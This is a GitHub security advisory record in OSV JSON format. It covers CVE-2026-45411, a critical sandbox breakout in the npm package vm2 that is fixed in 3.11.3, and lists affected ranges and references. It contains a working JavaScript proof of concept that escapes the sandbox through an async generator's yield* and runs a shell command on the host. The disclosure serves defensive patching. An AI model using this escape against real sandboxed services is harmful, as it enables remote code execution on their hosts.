{"schema_version":"1.9.0","id":"GHSA-248r-7h7q-cr24","published":"2026-05-14T21:14:32Z","modified":"2026-05-14T21:41:25.210964Z","aliases":["CVE-2026-45411"],"summary":"vm2 Has a Sandbox Breakout Using Async Generator","details":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d > 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=>({\n\t\t\tnext: v=>({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min<max) {\n\t\tconst mid = (min+max)>>1;\n\t\tconst e = await doCatch(()=>so(mid));\n\t\tif (e.name===\"RangeError\" && !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.3"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.11.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-248r-7h7q-cr24/GHSA-248r-7h7q-cr24.json"}}],"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45411"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.3"}],"database_specific":{"cwe_ids":["CWE-668"],"github_reviewed":true,"github_reviewed_at":"2026-05-14T21:14:32Z","nvd_published_at":"2026-05-13T18:16:19Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}